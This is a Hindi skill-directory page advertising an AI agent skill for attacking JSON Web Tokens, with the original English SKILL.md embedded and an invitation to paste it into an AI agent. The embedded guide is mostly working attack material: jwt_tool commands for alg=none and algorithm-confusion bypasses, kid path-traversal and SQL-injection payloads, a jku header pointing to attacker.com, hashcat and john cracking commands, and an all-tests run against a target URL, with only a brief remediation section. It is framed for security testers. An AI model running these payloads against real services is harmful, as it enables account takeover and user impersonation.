jwt
यह क्या करती है
यह स्किल एजेंट को बताती है कि JSON Web Tokens पर साइनिंग कमज़ोर या गलत कॉन्फ़िगर होने पर कैसे हमला हो सकता है। यह लॉगिन टोकन की समीक्षा करने वाले सुरक्षा परीक्षकों के लिए है।
कब इस्तेमाल करें
- ✓जब कोई साइट लॉगिन के लिए JWT टोकन इस्तेमाल करती है और आप जाँचना चाहते हैं कि वे कैसे सत्यापित होते हैं।
- ✓जब टोकन हेडर में kid, jku या x5u जैसे फ़ील्ड हों जिन पर भरोसा किया जा सकता हो।
- ✓जब सुरक्षा समीक्षा पूछती है कि टोकन साइनिंग बायपास या क्रैक हो सकती है या नहीं।
Skill का लिंक
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/jwt/SKILL.mdइसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।
कैसे इस्तेमाल करें
सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।
पेस्ट करने के लिए तैयार मैसेज
Claude Code, Codex या Cursor के लिए: प्रोजेक्ट फ़ोल्डर में चलाएँ और skill इंस्टॉल हो जाएगी।
SKILL.md डाउनलोड करें और अपने एजेंट के skills फ़ोल्डर में रखें।
AI से क्या माँगें: उदाहरण
“क्या आप जाँच सकते हैं कि मेरे ऐप का लॉगिन टोकन किसी दूसरे यूज़र के रूप में लॉगिन करने के लिए बदला जा सकता है?”
हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।
यह कैसे काम करती है
एजेंट टोकन को डिकोड करता है, फिर बदले हुए हेडर, बिना साइन किए टोकन या अलग साइनिंग तरीकों को आज़माता है, और जाँचता है कि सर्वर बदले हुए टोकन को अब भी स्वीकार करता है या नहीं।
तकनीकी सामग्री (मूल SKILL.md)
लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।
JSON Web Token Attacks
JWTs are signed (HS256/RS256/ES256) or sometimes mis-configured to
accept none. The header carries the alg + optionally kid/jku/x5u
references. Each is a potential exploitation surface.
1. Anatomy
header.payload.signature — each base64url. Decode w/ jwt_tool or
jwt-cracker:
jwt_tool eyJhbGc... # decode + verify + tamper modes
echo "$JWT" | cut -d. -f1-2 | tr '_-' '/+' | base64 -d 2>/dev/null
2. Attack surface
2.1 alg=none bypass
Set {"alg":"none"} in header, strip signature, send header.payload.:
jwt_tool $JWT -X a # alg=none attack
Worked on auth0 / pyjwt / many home-rolled libs pre-2017. Still appears in legacy systems.
2.2 HS256 vs RS256 confusion
Server uses RS256 (asymmetric) and verifies w/ public key. Attacker
switches alg to HS256 and signs w/ the public key (which the server
will use as the HMAC secret):
# Get the public key
curl -s https://target/.well-known/jwks.json | jq -r '.keys[0]'
# Or pull from a redirect / unauth /pubkey endpoint
jwt_tool $JWT -X k -pk public.pem # alg confusion attack
2.3 kid header injection
kid (key ID) sometimes resolves to a file path or DB key:
{"alg":"HS256","kid":"../../../dev/null"} // sign with empty content
{"alg":"HS256","kid":"key1' UNION SELECT 'mykey"} // SQLi in kid lookup
jwt_tool -X i -I -hc kid -hv path chains kid injection variants.
2.4 jku / x5u URL injection
jku (JWK Set URL) tells the server WHERE to fetch keys. If unvalidated,
attacker hosts their own:
{"alg":"RS256","jku":"https://attacker.com/jwks.json"}
Then https://attacker.com/jwks.json returns attacker's public key,
signed JWT is "valid".
Bypass URL filters via:
- subdomain confusion (
https://target.com.attacker.com/jwks.json) - userinfo (
https://attacker.com@target.com/jwks.json) - redirect chains via target's open-redirect
2.5 Weak HMAC secret
HS256 with weak secret crackable offline:
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
john --format=HMAC-SHA256 jwt.txt --wordlist=rockyou.txt
Hashcat mode 16500 = JWT. Service-account secrets often dev/secret/
changeme/company-name patterns.
2.6 Signature stripping (Express.js / older Go libs)
Some libraries verify only IF a signature is present. Strip it:
header.payload. ← trailing dot, no sig
2.7 Embedded jwk header
jwk in header (vs jku pointer) — attacker embeds their own pub key:
{"alg":"RS256","jwk":{"kty":"RSA","n":"<attacker_pub>","e":"AQAB"}}
Old node-jsonwebtoken accepted this.
3. Detection in recon
JWT presence signals:
Authorization: Bearer eyJ...headersaccess_token=eyJ.../id_token=eyJ...URL params or cookies.well-known/jwks.jsonendpoint exposed.well-known/openid-configurationdiscovery doc
4. PoC pattern (Burp + jwt_tool)
- Capture authenticated request
jwt_tool <JWT> -M at -t <target_url>— runs all tests (alg=none, alg confusion, signature strip, weak HMAC dictionary)- For positive results, replay manually via Burp Repeater to confirm
- Document the modified JWT + decoded admin claims as PoC
5. Severity calibration
| Bug | Typical severity |
|---|---|
alg=none accepted on user → admin claim swap |
Critical 9.8 |
| HS256↔RS256 confusion → arbitrary user impersonation | Critical 9.8 |
jku to attacker URL accepted |
Critical 9.8 |
| Weak HMAC secret cracked offline (admin role) | Critical 9.8 |
kid SQLi → DB enumeration |
High 8.0 |
| Signature stripping accepted | Critical 9.8 |
6. Defender remediation
// Node: jsonwebtoken
jwt.verify(token, publicKey, {
algorithms: ['RS256'], // EXPLICIT — never accept "none" or HS256 here
audience: 'api://my-service',
issuer: 'https://auth.mycorp.com',
});
// Python: PyJWT 2.0+
jwt.decode(token, public_key, algorithms=['RS256']) // explicit algorithm
// Validate kid / jku come from a known-good fixed set, NEVER user-controlled lookup
Cross-references
- Upstream catalog:
skills/_corpus/payloads/JSON Web Token/ - jwt_tool: https://github.com/ticarpi/jwt_tool
Known exemplars
- Auth0 alg=none (2015) — historical CVE-2015-2951 era
- Multiple Github bounty $5-15k for HS256/RS256 confusion in 2018-2021
- Atlassian 2022: JWT validation bypass in JIRA cloud → admin
- Several HackerOne $20k+ reports on kid path-traversal + jku to attacker host
अक्सर पूछे जाने वाले सवाल
none एल्गोरिदम टेस्ट क्या है?
यह एल्गोरिदम को none सेट करके साइनेचर हटाता है, ताकि देखा जा सके कि सर्वर बिना साइन किया टोकन स्वीकार करता है या नहीं।
क्या यह secrets क्रैक करने की कोशिश करती है?
हाँ, स्किल कमज़ोर HMAC secrets को क्रैक करना भी कवर करती है।
कौन-से टूल का ज़िक्र है?
टोकन डिकोड और टेस्ट करने के लिए jwt_tool और jwt-cracker यूटिलिटी का ज़िक्र है।
जानकारी
लेखक का मूल विवरण
JSON Web Token attacks — algorithm confusion (alg=none, HS256↔RS256), kid header injection, JWKS spoofing, weak HMAC secret cracking, signature stripping.
लोकप्रियता
- GitHub स्टार
- 6.5k
- रैंकिंग में स्थान
- #14067
- लाइसेंस
- Apache-2.0
- अपडेट की गई
- 1/11/2026
कमेंट
- …
इस repository की और skills
detector-overview
6.5kयह आपके एजेंट को स्कैनर से चिह्नित कोड पढ़ने और तय करने में मदद करती है कि कौन सी जगहें असली सुरक्षा बग हैं और कौन सी गलत चेतावनी।
exploiter-overview
6.5kयह आपके एजेंट को कई पक्की सुरक्षा कमज़ोरियों को एक परीक्षण श्रृंखला में जोड़ने और जाँचने में मदद करती है कि वह श्रृंखला कितनी दूर तक पहुँच सकती है।
llm-redteam-overview
6.5kयह आपके एजेंट को परीक्षण के लिए सही AI रेड-टीम गाइड खोजने में मदद करती है, प्रॉम्प्ट इंजेक्शन से लेकर मॉडल के दुरुपयोग तक 15 रणनीति समूहों में।
aatmf-t01-prompt-injection
6.5kसमझाती है कि प्रॉम्प्ट इंजेक्शन क्या है, जिसमें छिपे निर्देश AI सिस्टम के नियम बदलने की कोशिश करते हैं, ताकि सुरक्षा परीक्षक उसकी जाँच कर सकें।
मिलती-जुलती skills
reverse-engineer-anything
422kयह आपके एजेंट को REA टूल से शिप हुई ऐप्स और पैकेज को अंदर से समझने, वर्ज़न की तुलना करने या दोबारा बनाने में मदद करती है।
1password
394kयह आपके एजेंट को 1Password CLI सेट करने, साइन इन करने और सीक्रेट्स की वैल्यू चैट में छापे बिना उन्हें पढ़ने या इस्तेमाल करने में मदद करती है।
healthcheck
394kयह आपके एजेंट को उस कंप्यूटर या सर्वर का सुरक्षा ऑडिट करने देती है जिस पर OpenClaw चलता है, जिसमें SSH, firewall, अपडेट और बैकअप शामिल हैं, और फिर सुरक्षित सुधार सुझाती है।